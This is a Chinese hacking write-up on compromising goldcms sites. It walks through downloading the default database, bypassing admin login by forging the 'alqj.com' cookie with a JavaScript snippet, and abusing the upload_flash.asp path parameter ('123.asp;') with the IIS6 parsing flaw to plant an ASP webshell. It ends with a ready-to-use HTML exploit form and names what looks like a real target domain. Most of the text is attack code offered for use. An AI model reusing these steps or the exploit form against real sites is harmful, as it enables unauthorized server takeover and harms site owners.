goldcms是龙骏工作室(蓝狐网络)开发的一套cms系统,
朋友让帮忙检测他的网站,先找找上传漏洞!找了一圈发现网站没有用户交互,只能后台更新文章。系统使用了ewebeditor2.8,只有一个删除文件的漏洞可以利用,这里不做讨论,我们要的是shell!go!去后台看看,默认的路径没有改,Admin,但是帐号密码没有猜到,登陆也没有注入可利用。
这可怎么整,越是功能简单的站越难拿,下载份源码看看吧。通过查看源码发现默认数据库路径glodcms#data.mdb 没有改,把#变成%23下载数据库,发现密码经过MD5加密了。上cmd5上一查,是一条收费记录,继续查源码。
发展根目录下存在一个可以上传的文件upload_flash.asp upfile_flash.asp 代码如下:
<!--#include file="admin/cook.asp"-->
<!--#include file="upload_wj.inc"-->
<link href="images/css.css" rel="stylesheet" type="text/css">
<%
set upload=new upload_file
if upload.form("act")="uploadfile" then
filepath=trim(upload.form("filepath"))
filelx=trim(upload.form("filelx"))
i=0
for each formName in upload.File
set file=upload.File(formName)
fileExt=lcase(file.FileExt) '得到的文件扩展名不含有.
if file.filesize<100 then
response.write "<script language=javascript>alert('请先选择你要上传的文件!');history.go(-1);</script>"
response.end
end if
if (filelx<>"swf") and (filelx<>"jpg" and filelx<>"rar" and filelx<>"zip" and filelx<>"mid" and filelx<>"mp3" and filelx<>"wav") then
response.write "<script language=javascript>alert('该文件类型不能上传!');history.go(-1);</script>"
response.end
end if
if filelx="swf" then
if fileext<>"swf" then
response.write "<script language=javascript>alert('只能上传swf格式的Flash文件!');history.go(-1);</script>"
response.end
end if
end if
if filelx="jpg" then
if fileext<>"gif" and fileext<>"jpg" then
response.write "<script language=javascript>alert('只能上传jpg或gif格式的图片!');history.go(-1);</script>"
response.end
end if
end if
if filelx="swf" then
if file.filesize>(3000*1024) then
response.write "<script language=javascript>alert('Flash文件大小不能超过3m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="jpg" then
if file.filesize>(1000*1024) then
response.write "<script language=javascript>alert('图片文件大小不能超过1m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="mid" then
if file.filesize>(5000*1024) then
response.write "<script language=javascript>alert('zip文件大小不能超过5m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="mp3" then
if file.filesize>(5000*1024) then
response.write "<script language=javascript>alert('rar文件大小不能超过5m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="rar" then
if file.filesize>(10000*1024) then
response.write "<script language=javascript>alert('rar文件大小不能超过10m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="zip" then
if file.filesize>(10000*1024) then
response.write "<script language=javascript>alert('rar文件大小不能超过10m!');history.go(-1);</script>"
response.end
end if
end if
if filelx="wav" then
if file.filesize>(5000*1024) then
response.write "<script language=javascript>alert('exe文件大小不能超过5m!');history.go(-1);</script>"
response.end
end if
end if
randomize
ranNum=int(90000*rnd)+10000
filename=filepath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
session("picurl")=filename
%>
<%
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
'file.SaveAs Server.mappath(filename) ''保存文件
file.SaveToFile Server.mappath(FileName)
'response.write file.FileName&" 上传成功! <br>"
'response.write "新文件名:"&FileName&"<br>"
'response.write "新文件名已复制到所需的位置,可关闭窗口!"
if filelx="swf" then
response.write "<script>window.opener.document."&upload.form("FormName")&".size.value='"&int(file.FileSize/1024)&" K'</script>"
end if
response.write "<script>window.opener.document."&upload.form("FormName")&"."&upload.form("EditName")&".value='"&FileName&"'</script>"
'if filelx="jpg" then
'call jpegclass(FileName)
'end if
%>
<%
end if
set file=nothing
next
set upload=nothing
end if
%>
<%
sub jpegclass(imgurl) '调用过程名
Dim Jpeg,f_Horflip '建立实例
Set Jpeg=Server.CreateObject("Persits.Jpeg")
if imgurl<>"" then
Jpeg.Open Server.MapPath(imgurl)'图片路径并打开它
else
response.write "未找到图片路径"
exit sub
end if
Jpeg.Canvas.Font.Color = &HFF0000'' 红色
Jpeg.Canvas.Font.Bold = True
Jpeg.Canvas.Print Jpeg.Width-200, Jpeg.Height-50, "全程科技 Qckj.net"
'' 保存文件
Jpeg.Save Server.MapPath(imgurl)
if Jpeg.Width >= 120 and Jpeg.Height >= 90 then
Jpeg.Width =150
Jpeg.Height =120
end if
' 保存文件
Dim sRnd
Randomize
sFileName = ""&imgurl& "_s.gif"
Jpeg.Save Server.MapPath(sFileName)
' 注销对象
Set Jpeg = Nothing
session("slturl")=sFileName
response.write "<script>window.document.addform.spic.value="&session("slturl")&"</script>"
end sub
%>
<script language="javascript">
window.alert("文件上传成功!请不要修改生成的链接地址!");
window.close();
</script>
这段代码开头引入了验证用户cookies的文件cookies.asp 和化境无组件上传组件。
先简单看下cookie.asp 的代码:
<%
if request.cookies("alqj.com")("usernike")="" then
response.Redirect "../index.asp"
response.End
end if
%>
代码很简单,大家一眼就能看出问题所在。对,可以通过cookie绕过用户验证。
我们先来本机写个cookie,首先修改hosts文件,使得域名可以指向本机。调用javascript:
function SetCookie(name,value){
expires=new Date();
expires.setTime(expires.getTime()+(86400*365));
document.cookie=name+"="+value+"; expires="+expires.toGMTString()+"; path=/";
}
function getCookie(Name) {
var search = Name + "="
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
end = document.cookie.indexOf(";", offset)
if (end == -1)
end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
return 0;
}
SetCookie("alqj.com","usernike=longjun");
写入cookie,再把hosts修改回来!
OK现在登陆后台,第一眼就傻,真是太简单了,只有发布新闻和产品的功能,没有看第二眼就把浏览器关了。看来要想拿到shell还得从upfile_flash.asp文件入手,简单给大家解释下这个文件的作用,此文件是上传的处理文件,可以接受多个参数,如:upload_flash.asp?formname=addform&editname=pic&uppath=uppic&filelx=jpg 我们指定了要提交的表单为addform,上传路径为uppic 文件格式为jpg,对照upfile_flash.asp 的代码大家自己琢磨琢磨,几乎没有什么可利用的地方,即使我们写成:http://www.tainuosw.com/upload_flash.asp?formname=addform&editname=asp&uppath=uppic&filelx=asp依然不能上传,会提示“该文件类型不能上传” ,这个文件写的比较新颖,他不是自动提取文件后缀的,而是通过参数指定,并且格式只能指定为人家预先定好的,那么我们不管是使用a.asp;1.jpg 还是a.asp;jpg 都会被重名名为JPG文件,无论怎么构造都不可能绕过验证!再看下他的命名规则:当前时间加随机数字再加预定的格式,我们企图修改文件类型来达到目的是不可能的了。
已经12点30了,研究了其他文件的源码企图从里边找到一句话木马,但是和预想的一样,没有。再次登陆后台也没发现什么,看了下ewebeditor2.8的源码,记得以前就看过好几次他的代码了,但是找不出什么可以利用的地方。
又回头看了下upload_flash.asp,突然灵光一闪,我不可以改文件类型但是可以修改文件保存的路径啊,如果把保存文件的路径改成123.asp ,如果服务器是IIS6,不就能利用IIS6的解析漏洞了吗,对于不知道IIS6解析漏洞的我简单解释一下,如果我们在网站上建立一个文件加123.asp 在他里边放一张图片1.jpg 那么1.jpg的代码会交给ASP核心处理去解析,就是说我们的保存在1.jpg里边的ASP代码会运行,就像http://xxx.xxx.xxx/123.asp;1.jpg 虽然是.JPG 文件结尾,但是;号后边的不会被解析;
好了,我们重新构造:upload_flash.asp?formname=addform&editname=pic&uppath=123.asp;&filelx=jpg,然后上传我们的木马,由于路径里边出现123.asp 所以会出现404,我们要编码一下或者使用post方式提交!我们本地自己构造表单,把以上几个变量写在隐藏域里,然后上传,那么根据他的命名规则,那么网站根目录会出现一个文件123.asp;2010261232682123.jpg 至此,shell得到。但是文件名是随机的,它保存在session("slturl")里边,可以自己取出来,也可以利用后台的功能取。
利用工具的代码给大家发出来,用利用工具之前要先进行cookie欺骗 。
利用工具,自行修改action
<html><head><title>图片上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="images/css.css" rel="stylesheet" type="text/css">
<script language="javascript">
<!--
function mysub()
{
esave.style.visibility="visible";
}
-->
</script>
</head>
<body>
<form name="form1" method="post" action="" enctype="multipart/form-data" >
<div id="esave" style="position:absolute; top:18px; left:40px; z-index:10; visibility:hidden">
<TABLE WIDTH=340 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR><td width=20%></td>
<TD bgcolor=#ff0000 width="60%">
<TABLE WIDTH=100% height=120 BORDER=0 CELLSPACING=1 CELLPADDING=0>
<TR>
<td bgcolor=#ffffff align=center><font color=red>正在上传文件,请稍候...</font></td>
</tr>
</table>
</td><td width=20%></td>
</tr></table></div>
<table class="tableBorder" width="90%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr>
<td align="center" background="images/admin_bg_1.gif"><b><font color="#ffffff">图片上传
<input type="hidden" name="filepath" value="123.asp;">
<input type="hidden" name="filelx" value="jpg">
<input type="hidden" name="EditName" value="pic">
<input type="hidden" name="SltName" value="">
<input type="hidden" name="FormName" value="addform">
<input type="hidden" name="act" value="uploadfile"></font></b></td>
</tr>
<tr bgcolor="#E8F1FF">
<td align="center" id="upid" height="80"><label>
提交地址:
<input type="text" name="textfield">
</label>
选择文件:
<input type="file" name="file1" size="40" class="tx1" value="">
<label>
<input type="submit" name="Submit" value="开始上传" class="button" onclick="javascript:mysub()">
</label></td>
</tr>
</table>
</form>
</body>
</html>